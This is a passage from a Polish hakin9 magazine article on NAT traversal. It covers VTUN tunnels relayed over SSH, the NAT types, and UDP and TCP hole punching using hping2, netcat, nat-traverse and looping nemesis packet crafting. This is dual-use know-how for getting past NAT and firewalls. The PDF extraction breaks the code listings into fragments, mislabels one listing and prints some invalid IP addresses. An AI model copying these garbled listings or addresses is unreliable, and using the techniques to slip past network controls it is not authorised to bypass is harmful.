łać. Wysyłanie pakietów ping ko-
mendą

ping 192.168.18.200

wywoła-

ną na hoście A powinno spowodo-
wać przyjście pakietów ICMP Echo
Reply z hosta B.

Niektóre programy (na przykład

nmap) nie respektują parametru src
polecenia ip i używają adresu IP in-
terfejsu, przez który wychodzą pakie-
ty. Pakiety dochodzące do drugiego
końca tunelu mają adres źródłowy in-
terfejsu tunelującego czyli w naszym
przypadku pakiety docierające z A
do B mają adres 10.1.0.2. Aby host
B umiał odpowiedzieć na taki pakiet,
trzeba skonfigurować mu dodatkową
ścieżkę routingu do sieci hosta A.

Sytuacja nie jest tak prosta, jeśli

nie mamy uprawnień administratora
na hoście C. Jednak i w tym przy-
padku można zestawić tunel. Do te-
go celu użyjemy dodatkowo tunelo-
wania SSH. Host B połączy się z ho-
stem C przekierowując swój lokalny
port 5000 na port 5000 hosta C:

ssh -f -N -L5000:localhost:5000 uzytkow
nikB@157.158.180.200

Następnie host A wykona połącze-
nie, jednakże przekierowując zdalny
port 5000 na swój lokalny:

ssh -f -N -R5000:localhost:5000 uzytkow
nikA@157.158.180.200

Teraz wystarczy skonfigurować

VTUN jako serwer na hoście A i użyć

VTUN w trybie klienta na hoście B.
Host B łącząc się na adres localhost:

5000 łączy się do serwera VTUN
działającego w drugiej sieci lokalnej.
Warto przy tym wiedzieć, że ssh za-
pewnia dodatkową ochronę przesy-
łanych danych. De facto w tym roz-
wiązaniu mamy podwójną ochronę.
Pierwszą zapewnia sam mechanizm

VTUN, drugą SSH. Jednak bycie pa-
ranoikiem czasami popłaca.

Przedstawione wyżej techniki

nie wykorzystywały specyficznych

właściwości NAT-a. Jest to ponie-
kąd ich zaletą, gdyż mamy pewność,
że z dużym prawdopodobieństwem,
w każdym przypadku uda nam się
nawiązać połączenie. Techniki, któ-
re polegają na wykorzystaniu zacho-
wania NAT są o wiele ciekawsze, ale
nie dają tej pewności.

Drugie podejście

Jedną z takich technik jest STUN
(Simple Traversal of User Datagram

Protocol (UDP) Through Network

Address Translators (NATs)). Jak
można wywnioskować z nazwy, spo-
sób na przebijanie NAT dotyczy wy-
łącznie protokołu UDP. Jednak, jak
zostanie pokazane poniżej, technikę
tę da się również zastosować wobec
protokołu TCP.

Załóżmy, że komputery A i B

chcą wysyłać do siebie bezpośred-
nio datagramy. Aby to osiągnąć łą-
czą się z serwerem pośredniczącym
C. Przyjmijmy, że sieć komputera A
to 192.168.19.0/24 a sieć kompute-
ra B to 192.168.18.0/24. Komputery
A i B posiadają adresy w swoich sie-
ciach kolejno 100 i 200.

Interfejsy publiczne routerów R1 i

R2 to 157.158.181.42 i 157.158.180.235,
a komputer pośredniczący posiada
adres 157.158.180.200.

Gdy komputer A wysyła pakiet

UDP do komputera C poprzez router

R1, to router zapamiętuje, że taka sy-

Rysunek 7.

Zasada działania

protokołu TURN

Kanał

komunikacyjny

C

R1

A

B

R2

INTERNET

Listing 1.

Host C

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

forwarding

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

forwarding

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap1

/

proxy_arp

echo

"1"

>

/

proc

/

sys

/

net

/

ipv4

/

conf

/

tap0

/

proxy_arp

ip

route

add

192.168

.

19.0

/

24

dev

tap0

ip

route

add

192.168

.

18.0

/

24

dev

tap1

hakin9 Nr 1/2007

www.hakin9.org

Obrona

48

tuacja miała miejsce i pozwala na
dwustronną komunikację pomiędzy
komputerami A i C. Na przykład, je-
śli A wyśle pakiet z źródłowym portem
3000 i docelowym 5000 do kompute-
ra C, to w momencie przechodzenia
przez router z NAT R1, adres źródłowy
(czyli 192.168.19.100) zostanie zamie-
niony na adres interfejsu zewnętrzne-
go – 157.158.181.42. Jeśli NAT na ro-
uterze R1 zamienia również porty źró-
dłowe to zostanie zamieniony również
ów port. Aby utrudnić sytuację załóż-
my, że R1 jak i R2 zamieniają nume-
ry portów połączeń zza NAT. Por-
ty źródłowe pakietów wychodzących
są z zakresu 30000-60000. Wraca-
jąc do naszego pakietu – po trans-
lacji adresu źródłowego i portu źró-

dłowego, wędruje on w kierunku ma-
szyny C z ustawionym adresem źró-
dłowym 157.158.181.42 i portem źró-
dłowym 50025. Dodatkowo router R1
zapamiętuje to połączenie. Wszyst-
kie pakiety, które będą pochodzić od
maszyny C, a ich port docelowy bę-
dzie równy 50025 (port źródłowy rów-
ny 5000) zostaną poddane translacji
odwrotnej – czyli zostanie przywróco-
ny adres docelowy maszyny A i orygi-
nalny port – 3000. W ten sposób A i C
mogą dokonywać dwustronnej komu-
nikacji. Jeżeli B również nawiąże po-
łączenie z C, to C będzie miał łącz-
ność zarówno z A i B. Klienci A i B
muszą dość często komunikować się
z C, aby routery R1 i R2 nie usunę-
ły wpisów w swoich tablicach transla-

cji. Teraz C może poinformować A o
adresie i porcie źródłowym B (tym po
translacji) i powiadomić B o adresach
i portach A. Załóżmy, że żądanie B
połączenia na port 5000 komputera C
z portu 4000 zostało zamienione tak,
że port źródłowy po przejściu przez
NAT wynosi 50000. Gdy zaistnieje
możliwość komunikowania się A i B
za pomocą techniki TURN, kompu-
tery mogą dokonać próby połączenia
bezpośredniego. W tym miejscu na-
leży trochę poszerzyć naszą wiedzę
o mechanizmie NAT. W momencie
otwarcia tak zwanego tunelu i zma-
powania lokalnego adresu i portu na
zewnętrzny adres i port poszczególne
NAT inaczej zachowują się w chwili,
w której zewnętrzna maszyna (nie
należąca do konwersacji) wyśle pa-
kiet do routera łączącego sieć lokalną
z Internetem na zmapowany adres
i port. Sytuację tą obrazuje rysunek 9.

Jeszcze więcej

rodzajów NAT

Równolegle z zaproponowanym
wcześniej podziałem, literatura kla-
syfikuje NAT ze względu na zacho-
wanie w takich sytuacjach jako:

• Full cone NAT;
• Restricted cone NAT;
• Port restricted cone NAT;
• Symmetric NAT.

Wszystkie mają wspólną cechę. A
mianowicie taką, że konsekwencją
przejścia pakietu przez router jest
zmiana adresu na zewnętrzny, pod-
czas gdy port źródłowy, o ile to jest
możliwe, zostanie zachowany. Ce-
chami charakterystycznymi pierwsze-
go jest między innymi to, że host nie
należący do konwersacji, chcąc wy-
słać pakiet do lokalnego komputera,
wysyła go na adres zewnętrzny ho-
sta za NAT. Ponadto jeśli host w sieci
lokalnej użyje tego samego portu źró-
dłowego do skomunikowania się z in-
nym hostem w Internecie, to NAT nie
zmieni portu źródłowego po translacji.
W swoim działaniu przypomina czę-
ściowo dwukierunkowy NAT, o którym
wspomniano wcześniej.

Drugi – Restricted cone NAT, za-

chowuje się tak jak Full cone NAT z tą

Listing 2.

Plik konfiguracyjny VTUN na komputerze pośredniczącym C

options

{

port

5000

;

syslog

daemon

;

ifconfig

/

sbin

/

ifconfig

;

}

default

{

speed

0

;

}

hosta

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap0

;

proto

tcp

;

compress

lzo

:

1

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

up

{

ifconfig

"%% 10.1.0.1 netmask 255.255.255.0"

;

}

;

down

{

# Shutdown tap device.

ifconfig

"%% down"

;

}

;

}

hostb

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap1

;

proto

tcp

;

compress

lzo

:

1

;

encrypt

yes

;

stat

yes

;

keepalive

yes

;

up

{

ifconfig

"%% 10.2.0.1 netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

49

różnicą, że wysłany przez zewnętrz-
nego hosta pakiet dotrze do sieci lo-
kalnej wyłącznie w przypadku, gdy
host z wewnątrz sieci wysłał wcze-
śniej pakiet do zewnętrznego hosta.
Port restricted cone NAT dodaje ob-
ostrzenie w postaci konieczności za-
chowania numerów portów. Wysłany
przez zewnętrznego hosta pakiet uży-
wający portu źródłowego X i portu do-
celowego Y dotrze do hosta za NAT
wyłącznie wtedy, gdy host ten wyśle
najpierw pakiet do zewnętrznego ho-
sta, jego port docelowy to X, a jego
port źródłowy po opuszczeniu route-
ra NAT będzie zmapowany na Y. Naj-
trudniejszy do przebicia jest Symme-

tric NAT, gdyż ograniczenie dotyczy
w tym przypadku nie tylko adresów,
ale także portów źródłowych i doce-
lowych, a wszystkie parametry są uni-
kalne dla każdego połączenia. Tylko
komputer, który używa tej samej pary
parametrów, odpowiadając pakietem
na adres i port źródłowy, skomunikuje
się z hostem zza NAT. Dodatkowo, je-
śli komputer z sieci lokalnej użyje tego
samego portu źródłowego do skomu-
nikowania się z innym adresem, to po
opuszczeniu NAT, port źródłowy zo-
stanie zmieniony. Zachowanie wyżej
opisanych NAT zobrazowane jest na
rysunkach nr 11,12 oraz 13.

Symetryczny NAT jest często

określany jako not well behaved.
Jednak nawet używając tego typu
NAT jesteśmy w stanie tworzyć bez-
pośrednie połączenia. Polegają one
na przewidywaniu portu źródłowego,
który zostanie wybrany jako kolejny.

Tunel UDP

Załóżmy, że NAT routerów R1 i R2 to
Port restricted cone NAT, ponieważ
takie są najczęściej spotykane obec-
nie. Port restricted cone NAT ma tą
ciekawą właściwość, że jest well be-

haved. Oznacza to ni mniej ni więcej,
że tak długo, jak host A będzie używał
portu źródłowego równego 3000 do
wysłania pakietu, tak długo NAT bę-
dzie używał tego samego portu (czyli
50025). Wracając do sytuacji opisa-
nej wcześniej, hosty A i B mają po-
łączenia z C, host A wysyła pakiet
w kierunku routera R2 z ustawio-
nym portem źródłowym 3000 i por-

tem docelowym 50000. W momen-
cie translacji – na routerze R1 zo-
stanie zamieniony adres i port źró-
dłowy tak samo, jak w przypadku łą-
czenia się z hostem C. Dodatkowo
zostanie odnotowane, aby wpusz-
czać do wewnątrz ruch pochodzący
od routera R2 przychodzący z por-
tu 50000. Router R2 odebrawszy pa-

kiet odrzuci go, gdyż host B jeszcze
nie przestawił swojego NAT tak, aby
akceptował połączenia z R1. W za-
leżności od konfiguracji routera może
zostać wysłany pakiet ICMP port
unreachable.

Załóżmy, że NAT R2 nie wysłał

takiego pakietu. Gdy B wyśle pakiet
(używając oczywiście tego samego

Rysunek 8.

Schemat przykładowej sieci

200.158.180.200

157.158.181.42

192.168.19.100

192.168.18.200

157.158.180.235

INTERNET

Połączenie

R1

R2

A

B

C

Rysunek 9.

Host nie należący do konwersacji łączący się do zmapowanego

połączenia na routerze

200.158.180.200

157.158.181.42

192.168.19.100

157.158.180.235

INTERNET

Połączenie

R1

A

B

C

SRC:157.158.181.42:50025

DST 157.158.180.200:5000

SRC:157.158.180.235:4000

DST 157.158.181.42:50025

hakin9 Nr 1/2007

www.hakin9.org

Obrona

50

portu źródłowego) do R1, to ten za-
mieni adres i port docelowy pakietu
gdyż został wcześniej przeprogramo-
wany przez próbę połączenia się A
z B. Teraz A i B mogą się bezpośred-
nio komunikować wysyłając pakie-
ty UDP na swoje zewnętrzne adresy
i porty. W całej komunikacji zaginął
wyłącznie jeden pakiet. Jest to cena,

jaką należy zapłacić za możliwość
bezpośredniego połączenia.

Powyższy schemat ma zastoso-

wanie w przypadku, gdy NAT na R1
i R2 zmieniają porty źródłowe.
Sprawa się nieco upraszcza w mo-
mencie, gdy NAT nie zamienia por-
tów źródłowych. W tym przypadku
nic nie stoi na przeszkodzie, by do-

konać próby nawiązania połączenia
bez pośrednika. Aby otworzyć tunel
w NAT R1 należy wysłać z A pakiet
w kierunku R2.

Tunel UDP w praktyce

Do stworzenia tunelu UDP po-
trzebne będą nam następują-
ce narzędzia: netcat, hping2 oraz

Rysunek 10.

Dzialanie Full Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 158.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Rysunek 11.

Działanie Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:3000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

51

skrypt napisany w języku Perl z Li-
stingu nr 3.

Skrypt z Listingu nr 3 uruchamia-

my na komputerze C. Jego zada-
niem jest nasłuchiwanie na porcie nr
5000 i wypisywanie na ekran termi-
nala parametrów hostów łączących

się z C oraz wiadomości jakie owe
hosty wysyłają.
Na komputerze A uruchamiamy

netcata:

netcat -l -u -p 3000

Spowoduje to nasłuchiwanie ma-
szyny A na porcie 3000. Zawartość
wszystkich pakietów zaadresowa-
nych do A i posiadających port do-
celowy 3000 zostanie wypisana na
ekranie terminala. Następnie otwie-
ramy tunel w NAT na obu maszy-

Rysunek 12.

Działanie Port Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Rysunek 13.

Działanie Symmetric NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:7000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:7000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180.200:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

hakin9 Nr 1/2007

www.hakin9.org

Obrona

52

nach. Na A musimy użyć portu źró-
dłowego równego 3000, ponieważ
na tym porcie netcat nasłuchuje pa-
kietów:

hping2 157.158.180.200 -2 -s 3000 -p
5000 -c 1

spowoduje to pojawienie się na ter-
minalu C komunikatu

[157.158.181.42: 3000]>

świadczącego o tym, że pakiet
zza NAT dotarł do R1 nie zmie-
nił portu źródłowego. Następnie

czynność tą powtarzamy na kom-
puterze B:

hping2 157.158.180.200 -2 -s 4000 -p
5000 -c 1

co z kolei powinno na C spowodo-
wać powstanie komunikatu:

Rysunek 14.

Poszczególne fazy tworzenia tunelu UDP

257.158.180.200

257.158.180.200

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

Pakiet UDP

DST=157.158.181.42:5000

SRC=157.158.180.200:50000

O zawartości:

"157.158.180.235:50025"

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.180.200:50000

O zawartości:

"157.158.181.42:50000"

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

257.158.180.200

192.168.18.200

192.168.18.200

192.168.19.100

157.158.181.42

157.158.181.42

157.158.180.235

157.158.181.42

157.158.180.235

157.158.180.235

157.158.181.42

157.158.180.235

192.168.19.100

192.168.18.200

192.168.18.200

192.168.19.100

192.168.19.100

257.158.180.200

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.42:50000

Pakiet UDP

DST=157.158.181.42:50000

SRC=157.158.180.235:50025

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

53

[157.158.180.235: 4000]>

Teraz na komputerze A przestawia-
my nat w R1 tak, aby akceptował
pakiety od R2:

hping2 157.158.180.235 -2 -s 3000 -p
4000 -c 1

Na B przestawiamy NAT R2 tak, aby
akceptował pakiety od R1:

hping2 157.158.181.42 -2 -s 4000 -p
3000 -c 1

Teraz możemy na B uruchomić net-
cata z parametrami:

nc -p 4000 157.158.181.42 3000 -u

Po wykonaniu ostatniego polecenia,
wszystko co wpiszemy w okienko na
hoście B pojawi się w okienku netcat
hosta A.

Tworzenie tunelu tym sposobem

nie jest zbyt użyteczne. Na szczęście
powstały narzędzia które automatycz-
nie wysyłają sekwencje wiadomości
tworzących połączenie. Dość cieka-
wym narzędziem jest skrypt perlowy

nat-traverse dostępny na [13]. Aby
osiągnąć identyczny rezultat jak w po-
wyższym przykładzie, wystarczy na
maszynie A wykonać polecenie:

nat-traverse 3000:157.158.180.235:4000

a na maszynie B:

nat-traverse 4000:157.158.181.42:3000

Program ten posiada jedną ciekawą
opcję. Jest nią możliwość wywołania
dowolnego polecenia i przekierowa-
nie strumieni – wejściowego i wyj-
ściowego w ten sposób, że wszyst-
ko co polecenie wypisze zostanie
wysłane przez gniazdo do drugiego
komputera. Wszystko co przyjdzie
z tunelu zostanie przekierowane ja-
ko strumień standardowego wejścia
do polecenia. Za pomocą tej opcji
można przesyłać katalogi pomiędzy
komputerami:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=tar cj
katalog
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=cat >
katalog.tar.bz2

Możemy również za pomocą tego
narzędzia przekazywać połączenia
TCP. Wystarczy wykorzystać do te-
go celu program netcat:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=nc -lvp 5000
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=nc -v
localhost 22

Rysunek 15.

Czasy transmisji pakietów

C

t1

t2

t3

t4

B

A

NAT A

NAT B

Rysunek 16.

Trzy fazy nawiązywania połączenia

Komputer R1

IP: 157.158.181.42

S=157.158.181.42.3000

D=157.158.180.200:5000

SEQ:10000

ACK:0

FLAGS: SYN

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

Komputer C

IP: 157.158.180.200

Listing 3.

Plik konfiguracyjny

VTUN na komputerze B

options

{

port

5000

;

timeout

60

;

ifconfig

/

sbin

/

ifconfig

;

}

hostb

{

passwd

Ma

&

^

TU

;

type

ether

;

device

tap1

;

proto

tcp

;

up

{

ifconfig

"%% 10.2.0.2

netmask 255.255.255.0"

;

}

;

down

{

ifconfig

"%% down"

;

}

;

}

hakin9 Nr 1/2007

www.hakin9.org

Obrona

54

Teraz można połączyć się z hosta
A do serwera ssh działającego na
hoście B poprzez połączenie z in-
terfejsem loopback na port 5000.
Za pomocą netcat można również
przekazywać połączenia UDP. Sko-
ro można przekazywać połącze-
nia UDP oraz TCP, to nic nie stoi na
przeszkodzie aby uruchomić VPN
działający poprzez ten tunel. Wy-
starczy przekazać lokalny port tcp
5000 do zdalnego hosta, na którym
działa VTUN oraz połączyć się
klientem VTUN do localhost:5000.
Należy przy tym pamiętać, że po
pierwsze tracimy niezawodność
protokołów takich jak TCP a po dru-
gie sam proces enkapsulacji posia-
da duży narzut danych (TCP w IP
w ethernet w UDP).

Jeśli firewall na routerach jest

skonfigurowany tak, aby odpowiadać

komunikatami ICMP na pakiety UDP
których „nie zna”, to stworzenie tune-
lu może się nie powieść, ponieważ
niektóre NAT reagują na komunika-
ty ICMP. Jeśli pakiet hosta A dotrze
do NAT B przed wysłaniem przez B
UDP w kierunku A, to może dojść do
sytuacji, w której R2 odpowie pakie-
tem ICMP (port unreachable) do R1,
co w przypadku niektórych NAT mo-
że uniemożliwić połączenie.

Przeszkoda ICMP

Jeśli nasz NAT reaguje na tego
typu pakiety ICMP, to można za-
mienić jeden typ ICMP na inny.

Wystarczy pierwszemu pakie-

towi wysłanemu w kierunku dru-
giego routera ustawić odpowiednio
niską wartość TTL. Wartość TTL
jest zmniejszana wraz z przejściem
przez każdy router. Gdy osiągnie

zero, następuje odrzucenie pakietu
i wysyłanie komunikatu ICMP nr 36

time exceeded in-transit.

Kolejną kwestią jest synch-

ronizacja całej operacji. Jeśli NAT
wysyła pakiety ICMP oznacza to,
że host w sieci lokalnej nie wysłał
jeszcze pakietu przestawiającego
NAT. Niektóre wersje NAT w takiej
sytuacji zaczynają zmieniać porty
źródłowe wychodzących pakietów,
co znacznie utrudnia komunikację.

Aby pakiety dotarły do obu NAT

dokładnie w tym samym momencie
należy zapewnić aby:

t1+t3=t2+t4

z czego wynika że każdy z hostów
musi przed wysłaniem pakietu po-
czekać:

T = max(t1+t3, t2+t4) – z

gdzie z jest sumą czasów transmi-
sji pakietów danego hosta z C oraz
czasu wędrówki pakietu do przeciw-
ległego NAT

Jednak w większości przypad-

ków tak dokładna synchronizacja nie
jest potrzebna. Wystarczy sprawić,
aby hosty A oraz B wysłały pakiety
w tym samym momencie czyli:

T = max(t1, t2) – z

Listing 4.

Skrypt w języku Perl dzięki któremu dowiemy się jak

mapowane są połączenia w naszym NAT

#!/usr/bin/perl -w

use

strict

;

use

IO

::

Socket

;

my

(

$

sock

, $

remote

, $

message

);

$

sock

=

IO

::

Socket

::

INET

->

new

(

LocalPort

=>

5000

,

Proto

=>

'

udp

'

)

or

die

"socket: $@"

;

while

(

$

remote

=

$

sock

->

recv

(

$

message

,

1024

))

{

my

(

$

port

, $

addr

)

=

sockaddr_in

(

$

remote

);

my

$

host_str

=

inet_ntoa

(

$

addr

);

printf

"[%s:%5d]> %s

\n

"

, $

host_str

, $

port

, $

message

;

}

die

"recv: $!"

;

Rysunek 17.

Używanie TTL do stworzenia połączenia P2P

NAT_A

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN-ACK

SYN-ACK

ACK

ACK

SYN

(Małe TTL

NAT_B

NAT_B

NAT_A

ICMP

ICMP

ICMP

ICMP

ACK

ACK

SYN

ACK

ICMP

Wartosc TTL

Spoof

SYN-ACK

Spoof

SYN-ACK

Wartosc TTL

NAT_A

NAT_B

C

C

Wartość TTLA

Wartość TTLA

Wartość TTLB

Wartość TTLB

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

55

Czas na TCP

Techniki UDP hole punching są za-
zwyczaj skuteczne, ponieważ pro-
tokół UDP nie jest tak skomplikowa-
ny jak na przykład TCP. Jeśli używa-
my innych protokołów, takich jak TCP,
to sytuacja się skomplikuje, ponieważ
posiadaon określony schemat nawią-
zywania połączenia, którego popraw-
ności mogą pilnować nie tylko po-
szczególne implementacje NAT, ale
również systemy antywłamaniowe,

firewall’e itp. Jeśli już opanujemy tech-
nikę przebijania NAT za pomocą UDP,
to zawsze możemy zastosować en-
kapsulacje TCP czy nawet całego IP
w UDP tworząc pełny tunel IP. Pomi-
mo iż TCP jest protokołem bardziej
złożonym niż UDP istnieją metody po-
zwalające na stworzenie bezpośred-
nich połączeń pomiędzy komputera-
mi zza różnych NAT.

Na początek należy przyjrzeć się

metodom nawiązywania połączenia
TCP i zastanowić się, co przy sto-
sowaniu technik może zakończyć się
niepowodzeniem na poszczególnych
etapach połączenia.

Zainicjalizowanie połączenia na-

stępuje w trzech etapach. W pierw-
szym etapie klient wysyła pakiet
z ustawioną flagą SYN, która świad-
czy o chęci nawiązania połączenia.
Jeśli zdalny host zechce zaakcepto-
wać połączenie, to w drugim etapie
odsyła pakiet z ustawioną flagą SYN
oraz ACK. W trzecim etapie inicjator
połączenia potwierdza odebranie in-
formacji od serwera wysyłając pakiet
z ustawioną flagą ACK. Trzystopnio-
wy schemat nawiązywania połącze-
nia ma dodatkowo na celu zsynchro-
nizowanie numerów sekwencyjnych
używanych do zapewnienia popraw-
ności transmitowanych danych. Flaga
SYN ustawiana w pakietach informu-
je, że zawiera on numer sekwencyjny.
Każde połączenie TCP ma dwa takie
numery. Każda ze stron posiada wła-
sną liczbę reprezentującą pewnego
rodzaju licznik wysłanych danych.

Aby zastosować techniki przebija-

nia firewall-i używając protokołu TCP,
należy spowodować, by obie strony
połączenia przeszły poprawnie przez
trzy etapy. Jeśli któryś z etapów zo-
stanie pominięty, to nawiązanie po-
łączenia wymaga zastosowania do-

datkowych operacji. Należy wiedzieć,
że niektóre implementacje NAT pilnu-
ją tego, aby poszczególne kroki połą-
czenia następowały dokładnie po so-
bie. Np. nie wpuszczą pakietu z usta-
wioną flagą SYN do sieci lokalnej, je-
śli oczekiwany jest pakiet z ustawio-
nymi flagami SYN-ACK. Dodatko-
wo NAT mogą pilnować zachowania
poprawności numerów sekwencyj-
nych w trzech etapach połączenia.
Jądra Linux z serii 2.4 są bardzo
tolerancyjne jeśli chodzi o przestrze-
ganie tych zasad.

Aby pakiety przechodziły z jed-

nej sieci lokalnej do drugiej wystar-
czy wysyłać dużą ilości odpowiednio
sformatowanych ramek z A oraz B.
Na hoście A uruchamiamy program
nemesis, który będzie wysyłał ramki
z ustawionymi flagami SYN-ACK:

#while true; do nemesis tcp -x 3000
-y 3000 -fSA -s 0 -a 0 -S
192.168.19.100 -D 157.158.180.235; done

Z hosta B musimy wysyłać ramki
TCP z ustawioną flagą SYN:

#while true; do nemesis tcp -x 3000
-y 3000 -fS -s 0 -a 0 -S 192.168.18.200-D
157.158.181.42; done

Aby sprawdzić czy do B dociera-
ją ramki A z ustawionymi flagami

SYN-ACK, to najprościej posłużyć
się tcpdumpem:

#tcpdump -n 'tcp[13]==0x12'

Filtr tcpdump powinien przepuścić
tylko te ramki, które mają ustawione
flagi SYN oraz ACK.

Nie takie TCP straszne

Próba połączenia dwóch kompute-
rów w dwóch różnych sieciach lokal-
nych wykorzystujących TCP może
przebiegać prawie analogicznie do
przypadku posługiwania się protoko-
łem UDP. Przypuśćmy, że NAT na
R1 i R2 nie modyfikuje portów źródło-
wych. Każdy z klientów A i B otwiera
połączenie nasłuchujące (dla uprosz-
czenia załóżmy, że na porcie 3000).
Następnie obydwa komputery wyko-
nują połączenie do C na port 5000

W Sieci

• http://news.zdnet.com/2100-1009_22-842973.html – artykuł przewidujący wy-

czerpanie adresów IP w 2005roku;

• http://bgp.potaroo.net/ipv4/ – szczegółowy raport przewidujący wykorzystanie ad-

resów IP w przyszłości;

• http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html

– raport na temat „konsumpcji” adresów IP;

• http://nutss.gforge.cis.cornell.edu/pub/imc05-tcpnat/ – analiza i opis technik prze-

bijania NAT i firewalli;

• http://www.brynosaurus.com/pub/net/p2pnat/ – opis technik przebijania NAT

z użyciem UDP i TCP;

• http://freshmeat.net/projects/nat-traverse/ – biblioteka wykorzystująca opisane

w artykule techniki;

• http://nutss.gforge.cis.cornell.edu/stunt.php – strona domowa STUNT (Simple

Traversal of UDP Through NATs and TCP);

• http://freshmeat.net/projects/stund/ – strona domowa klienta i serwera używają-

cego STUN;

• http://vtun.sourceforge.net/ – oprogramowanie pozwalające stworzyć wirtualny tu-

nel ethernetowy enkapsulowany w TCP lub UDP;

• http://openvpn.net/ – implementacja VPN bardziej zaawansowana niż VTUN;
• Linux Server Hacks, Oreilly 2003 – znajdziemy w tej książce wiele ciekawych po-

rad. Między innymi opis tunelowania VPN w SSH, który został skrótowo opisany
w artykule;

• http://samy.pl/chownat/ – strona z której możemy pobrać program chownat;
• http://linide.sourceforge.net/nat-traverse/ – tutaj znajdziemy skrypt nat-traverse;
• http://www.cis.nctu.edu.tw/~gis87577/xDreaming/XSTUNT/index.html – tutaj

znajduje się biblioteka XSTUNT oraz przykładowy program.

hakin9 Nr 1/2007

www.hakin9.org

Obrona

56

używając portu 3000 jako portu źró-
dłowego (muszą przed połączeniem
użyć polecenia „bind” na otwartym
gnieździe). W tym momencie klienci
A i B nasłuchują na porcie 3000 oraz
posiadają połączenie z hostem C
(port źródłowy 3000 a port docelowy
5000). Od serwera S dowiadują się o
swoich publicznych interfejsach. Host
A dowiaduje się, że publiczny inter-
fejs B to 157.158.180.235 i używa on
portu 3000 do połączenia się z C
(przy założeniu, że NAT R1 i R2 nie
modyfikuje portów źródłowych przy
translacji). Podobne informacje otrzy-
muje host B. Teraz A i B mogą doko-
nać próby połączenia bezpośrednie-
